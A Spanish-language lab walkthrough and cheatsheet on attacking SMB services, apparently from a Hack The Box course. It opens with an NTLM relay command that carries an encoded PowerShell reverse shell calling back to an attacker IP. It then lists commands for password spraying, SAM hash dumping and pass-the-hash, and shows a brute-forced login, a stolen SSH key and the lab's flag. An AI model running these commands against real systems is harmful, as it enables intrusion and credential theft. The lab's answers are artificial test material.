afsh4ck@kali$ impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAEMAUABDAGwAaQBlAG4AdAAoACIAMQA5ADIALgAxADYAOAAuADIAMgAwAC4AMQAzADMAIgAsADkAMAAwADEAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACIAUABTACAAIgAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACIAPgAgACIAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA'
Una vez que la víctima se autentica en nuestro servidor, envenenamos la respuesta y hacemos que ejecute nuestro comando para obtener un shell inverso.
afsh4ck@kali$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.10.110.133] from (UNKNOWN) [10.10.110.146] 52471
PS C:\Windows\system32> whoami;hostname
nt authority\system
WIN11BOX
RPC
En el módulo Enumeración , analizamos cómo enumerar una máquina usando RPC. Además de la enumeración, podemos usar RPC para realizar cambios en el sistema, como por ejemplo:
Cambiar la contraseña de un usuario.
Cree un nuevo usuario de dominio.
Crea una nueva carpeta compartida.
Tenga en cuenta que se requieren algunas configuraciones específicas para permitir este tipo de cambios a través de RPC. Podemos usar la página de manual de rpclient o SMB Access desde Linux Cheat Sheet del SANS Institute para explorar esto más a fondo.
Cheatsheet
Comando
Descripción
smbclient -N -L //10.129.14.128
Pruebas de sesión nula contra el servicio SMB.
smbmap -H 10.129.14.128
Enumeración de recursos compartidos de red mediante smbmap
smbmap -H 10.129.14.128 -r notes
Enumeración recursiva de recursos compartidos de red mediante smbmap
smbmap -H 10.129.14.128 --download "notes\note.txt"
Descargar un archivo específico de la carpeta compartida
smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"
Subir un archivo específico en la carpeta compartida
rpcclient -U'%' 10.10.110.17
Sesión nula con rpcclient
./enum4linux-ng.py 10.10.11.45 -A -C
Enumeración automatizada del servicio SMB mediante enum4linux-ng
crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'
Password Spraying contra diferentes usuarios de una lista.
impacket-psexec administrator:'Password123!'@10.10.110.17
Conectarse al servicio SMB usando impacket-psexec
crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec
Ejecutar un comando sobre el servicio SMB usando crackmapexec
crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users
Enumeración de usuarios registrados
crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam
Extraiga hashes de la base de datos SAM
crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE
Utilice la técnica Pass-The-Hash para autenticarse en el host de destino
impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146
Volcado de la base de datos SAM usando impacket-ntlmrelayx
impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>
Ejecutar un reverse shell basado en PowerShell usando impacket-ntlmrelayx
Caso práctico
Objetivo: 10.129.12.72
Recursos: usernames.list, pws.list
Pregunta 1
¿Cuál es el nombre de la carpeta compartida con permisos de LECTURA?
afsh4ck@kali$ crackmapexec smb 10.129.12.72 -u usernames.list -p pws.list
SMB 10.129.12.72 445 ATTCSVC-LINUX [*] Windows 6.1 Build 0 (name:ATTCSVC-LINUX) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.12.72 445 ATTCSVC-LINUX [+] \aartjan:liverpool
afsh4ck@kali$ crackmapexec smb 10.129.12.72 -u aartjan -p liverpool --shares
SMB 10.129.12.72 445 ATTCSVC-LINUX [*] Windows 6.1 Build 0 (name:ATTCSVC-LINUX) (domain:) (signing:False) (SMBv1:False)
SMB 10.129.12.72 445 ATTCSVC-LINUX [+] \aartjan:liverpool
SMB 10.129.12.72 445 ATTCSVC-LINUX [+] Enumerated shares
SMB 10.129.12.72 445 ATTCSVC-LINUX Share Permissions Remark
SMB 10.129.12.72 445 ATTCSVC-LINUX ----- ----------- ------
SMB 10.129.12.72 445 ATTCSVC-LINUX print$ Printer Drivers
SMB 10.129.12.72 445 ATTCSVC-LINUX GGJ READ Priv
SMB 10.129.12.72 445 ATTCSVC-LINUX IPC$ IPC Service (attcsvc-linux Samba)
La carpeta compartida con permisos de LECTURA es: GGJ
afsh4ck@kali$ smbclient -U aartjan \\\\10.129.12.72\\GGJ
Password for [WORKGROUP\aartjan]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10079732 blocks available
smb: \> get id_rsa
NT_STATUS_ACCESS_DENIED opening remote file \id_rsa
Al acceder con smbclient vemos que hay un id_rsa
para acceder por SSH, pero que no podemos descargar.
Pregunta 2
¿Cuál es la contraseña del usuario "jason"?
Al ejecutar enum4linux observamos que hay varios usuarios y nos da info relevante sobre el dominio:
afsh4ck@kali$ enum4linux -a 10.129.12.72
=======================( Target Information )========================
Target ........... 10.129.197.206
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none
================( OS information on 10.129.197.206 )==================
[+] Got OS info for 10.129.197.206 from srvinfo:
ATTCSVC-LINUX Wk Sv PrQ Unx NT SNT attcsvc-linux Samba
platform_id : 500
os version : 6.1
server type : 0x809a03
====================( Users on 10.129.197.206 )=======================
index: 0x1 RID: 0x3e8 acb: 0x00000010 Account: jason Name: Desc:
index: 0x2 RID: 0x3e9 acb: 0x00000010 Account: robin Name: Desc:
user:[jason] rid:[0x3e8]
user:[robin] rid:[0x3e9]
Vamos a hacer bruteforce contra el usuario jason utilizando el flag --local-auth
:
afsh4ck@kali$ crackmapexec smb 10.129.12.72 -u jason -p pws.list --local-auth
SMB 10.129.203.6 445 ATTCSVC-LINUX [*] Windows 6.1 Build 0 (name:ATTCSVC-LINUX) (domain:ATTCSVC-LINUX) (signing:False) (SMBv1:False)
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:liverpool STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:theman STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:bandit STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:dolphins STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:giants STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:jackass STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:hotdog STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:rosebud STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:success STATUS_LOGON_FAILURE
SMB 10.129.203.6 445 ATTCSVC-LINUX [-] ATTCSVC-LINUX\jason:debbie STATUS_LOGON_FAILURE
<--SNIP-->
SMB 10.129.203.6 445 ATTCSVC-LINUX [+] ATTCSVC-LINUX\jason:34c8zuNBo91!@28Bszh
Obtenemos la contraseña del usuario jason: 34c8zuNBo91!@28Bszh
🏆
Pregunta 3
Inicie sesión como usuario "jason" a través de SSH y busque el archivo flag.txt. Envíe el contenido como respuesta.
Como vimos anteriormente, en la carpeta compartida GGJ había un id_rsa
, pero que no nos podíamos descargar por no tener los permisos necesarios:
afsh4ck@kali$ smbclient -U aartjan \\\\10.129.12.72\\GGJ
Password for [WORKGROUP\aartjan]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10079732 blocks available
smb: \> get id_rsa
NT_STATUS_ACCESS_DENIED opening remote file \id_rsa
Vamos a intentar acceder con el usuario jason y ver si lo podemos descargar:
afsh4ck@kali$ smbclient -U jason -W ATTCSVC-LINUX //10.129.12.72/GGJ
Password for [ATTCSVC-LINUX\jason]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue Apr 19 23:33:55 2022
.. D 0 Mon Apr 18 19:08:30 2022
id_rsa N 3381 Tue Apr 19 23:33:04 2022
14384136 blocks of size 1024. 10087972 blocks available
smb: \> get id_rsa
getting file \id_rsa of size 3381 as id_rsa (17,9 KiloBytes/sec) (average 17,9 KiloBytes/sec)
smb: \>
Buum!! Nos conseguimos descargar el id_rsa, por lo que vamos a poder conectarnos por SSH sin contraseña de la siguiente manera:
afsh4ck@kali$ chmod 400 id_rsa
afsh4ck@kali$ ssh -i id_rsa jason@10.129.12.72
Welcome to Ubuntu 20.04.4 LTS (GNU/Linux 5.4.0-109-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information as of Wed 24 Apr 2024 02:48:49 PM UTC
System load: 0.0 Processes: 230
Usage of /: 25.4% of 13.72GB Users logged in: 0
Memory usage: 14% IPv4 address for ens160: 10.129.203.6
Swap usage: 0%
0 updates can be applied immediately.
Last login: Tue Apr 19 21:50:46 2022 from 10.10.14.20
$ ls
flag.txt
$ cat flag.txt
HTB{SMB_4TT4CKS_2349872359}
Conseguido! Hemos accedido correctamente por SSH y hemos obtenido la flag.
Última actualización
¿Te fue útil?